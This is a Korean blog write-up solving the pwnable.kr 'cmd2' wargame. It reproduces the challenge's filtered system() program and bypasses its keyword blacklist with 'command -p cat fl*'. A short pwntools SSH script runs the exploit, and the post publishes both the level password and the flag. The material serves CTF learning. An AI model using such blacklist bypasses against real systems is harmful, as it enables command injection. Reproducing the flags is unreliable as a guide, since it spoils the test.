DongDD's IT

[pwnable.kr] cmd2 본문

Wargame/pwnable.kr

[pwnable.kr] cmd2

DongDD 2018. 8. 25. 13:35

[pwnable.kr] cmd2



Problem


command shell system을 샀다고 되어있었다.

허가없이 해당 프로그램을 사용하는 것을 막기 위해 몇개의 필터가 걸려있지만 항상 사용할 수 있기를 원한다고 되어있었다.

이번 문제는 다른 문제와 달리 이전 문제인 cmd1의 flag가 비밀번호로 되어있었다.



cmd1의 flag를 password로 사용하여 ssh로 접속해보았다.

cmd2 실행 파일과 cmd2.c 소스 코드 파일, flag 파일이 있었다.

먼저 소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <string.h>
 
int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}
 
extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
 
int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}
cs


main() 함수에서는 delete_env()함수를 실행하고 putenv()함수를 통해 위와 같은 환경 변수를 생성해준다.

그 후 argv[1]을 인자로 넣어 filter()함수를 실행하고 argv[1]을 인자로하여 system()함수를 실행한다.

delete_env() 함수는 현재 저장되어 있는 환경 변수를 모두 삭제한다.

filter()함수는 cmd1과 비슷하지만 몇가지 사항이 추가되어있었다. strstr()함수를 이용하여 "=", "PATH", "export", "/", "`", "flag"가 들어있는 확인한다.



Solution


이번 문제는 지난번 cmd1 문제와 마찬가지로 쉽게 해결할 수 있었다.


전체적으로는 "/bin/cat flag"를 실행한다면 flag를 확인할 수 있다.


cmd1과 마찬가지로 "flag" 필터링은 "f*", "fl*", "fla*"와 같이 우회할 수 있었다.

하지만 cmd1 문제에서 사용했던 /bin/cat은 "/" 필터링으로 인해 사용할 수 없기 떄문에 다른 방법을 사용했다.


Linux 내에 있는 command라는 명령어를 이용하여 해결할 수 있었다.



-p 옵션(PATH와 별개로 기본적인 standard path를 모두 찾아 명령어 수행)을 사용해 경로 입력 없이 cat을 실행할 수 있었다.

이렇게 생성한 명령어를 argv[1]로 넣어 실행하니 flag를 획득할 수 있었다.










**************     Answer & Flag     **************



직접 실행




Python SSH Code(pwntool)

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
 
pw= "mommy now I get what PATH environment is for :)"
= ssh(user="cmd2",host="pwnable.kr",port=2222,password=pw)
 
ar = [str(i) for i in range(2)]
ar[1= "command -p cat fl*"
= p.process(executable="/home/cmd2/cmd2",argv=ar)
 
 
print s.recv()
cs




Flag : FuN_w1th_5h3ll_v4riabl3s_haha

'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd1  (0) 2018.07.21
[pwnable.kr] lotto  (0) 2018.07.14
[pwnable.kr] blackjack  (0) 2018.06.28
[pwnable.kr] coin1  (0) 2018.06.26
[pwnable.kr] shellshock  (0) 2018.06.18
Comments